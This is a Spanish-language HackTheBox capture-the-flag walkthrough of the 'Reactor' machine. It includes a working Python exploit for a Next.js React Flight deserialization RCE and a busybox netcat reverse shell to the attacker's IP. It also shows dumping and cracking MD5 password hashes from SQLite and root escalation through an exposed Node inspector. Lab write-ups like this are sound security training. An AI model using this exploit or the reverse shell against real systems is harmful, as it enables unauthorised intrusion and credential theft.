Reactor — HackTheBox Season 11
Comencé el análisis de esta máquina realizando un escaneo de puertos TCP con nmap:
1
sudo nmap -p- -vvv --min-rate 10000 10.129.1.31
El escaneo revela dos puertos abiertos:
- 22/tcp — SSH
- 3000/tcp — Aplicación Web
Lanzamos un escaneo más exhaustivo para identificar versiones y fingerprinting de los servicios:
1
nmap -sV -sC -p22,3000 10.129.1.31
Descubrimientos clave:
- El servicio SSH corre sobre un entorno Ubuntu.
- El servicio web está desarrollado con el framework Next.js.
Dado que el objetivo utiliza enrutamiento interno por nombre de host, lo añadimos a nuestra resolución DNS local:
1
echo "10.129.11.29 reactor.htb" | sudo tee -a /etc/hosts
Fase 2: Enumeración Web
Al acceder a la aplicación desde el navegador, observamos un panel de monitorización industrial estático llamado: ReactorWatch Core Monitoring System.
La superficie de ataque visible es intencionalmente mínima:
- Sin formularios de autenticación.
- Sin funcionalidad de búsqueda.
- Sin endpoints de API expuestos a simple vista.
- Sin parámetros controlados por el usuario.
En aplicaciones Next.js modernas, a menudo se expone metadata de compilación bajo el directorio /_next/. Inspeccionar el manifiesto de compilación puede revelar rutas ocultas y el comportamiento interno del framework.
Esto nos indica que la aplicación probablemente utiliza la arquitectura App Router en lugar del tradicional Pages Router.
Fase 3: Foothold — RCE por React Flight en Next.js
Investigando vulnerabilidades recientes en Next.js, encontramos un fallo crítico que afecta la deserialización de React Flight. La vulnerabilidad abusa de cómo el framework procesa payloads multiparte (multipart) especialmente manipulados. Al alterar las propiedades de objetos internos (explotación orientada a Prototype Pollution), se puede influir en el flujo de ejecución del lado del servidor y lograr la ejecución arbitraria de comandos (RCE).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─────────────┐
│ Atacante │
└──────┬──────┘
│ Payload manipulado (React Flight)
▼
┌─────────────┐
│ App Next.js │
└──────┬──────┘
│ Prototype Pollution / Deserialización
▼
┌─────────────┐
│ Entorno JS │
└──────┬──────┘
│ execSync()
▼
┌─────────────┐
│Reverse Shell│
└─────────────┘
Explotación
Primero, preparamos un listener en nuestra máquina de ataque:
El siguiente script en Python abusa del procesamiento de React Flight para forzar la ejecución de JavaScript dentro del entorno Node.js, enviándonos una reverse shell.
exploit.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests, sys, json
BASE_URL = sys.argv[1]
EXECUTABLE = sys.argv[2]
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',timeout).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), `}});",
"_formData": {"get": "$1:constructor:constructor"},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"')
}
headers = {"Next-Action": "x"}
requests.post(BASE_URL, files=files, headers=headers)
Detonando el RCE
Ejecutamos el script pasando la URL objetivo y el payload malicioso (usando busybox nc para evadir restricciones de netcat clásico si las hubiera):
1
python3 exploit.py http://10.129.11.29:3000 "busybox nc 10.10.14.101 4444 -e /bin/sh"
Fase 4: Post-Explotación y Movimiento Lateral
Con acceso de shell bajo el usuario node, la prioridad pasa a ser la enumeración local del sistema de archivos. Explorando el directorio de la aplicación, identificamos una base de datos SQLite:
1
2
/opt/reactor-app/reactor.db
sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;"
1
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
El output revela hashes de contraseñas de múltiples usuarios, incluyendo al usuario engineer. El formato de los hashes es MD5, lo cual hace que su ruptura offline sea trivial utilizando herramientas como John the Ripper, Hashcat o directamente contrastándolos en bases de datos rainbow (como CrackStation).
Una vez rota la contraseña de engineer, procedemos a pivotar / realizar el movimiento lateral mediante SSH para estabilizar nuestro acceso:
1
ssh engineer@10.129.11.29
Fase 5: Escalada de Privilegios — Node Inspector Expuesto
La enumeración de procesos revela rápidamente algo inusual en el sistema:
1
ps aux | grep node
1
/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──────────────┐
│ Usr engineer │
└──────┬───────┘
│ Conectar depurador
▼
┌──────────────┐
│Node Inspector│
└──────┬───────┘
│ Ejecutar JS
▼
┌──────────────┐
│ Proceso Root │
└──────┬───────┘
│ execSync()
▼
┌──────────────┐
│ Acceso Root │
└──────────────┘
Conexión al Depurador
Nos conectamos a la sesión de depuración expuesta en el puerto local:
1
node inspect 127.0.0.1:9229
1
exec("process.getuid()")
Esto confirma que el proceso se está ejecutando como root (UID 0).
Extracción de la Flag de Root
Finalmente, aprovechamos la ejecución de código para leer el contenido de la flag de root:
1
exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
¡Máquina rooteada exitosamente!










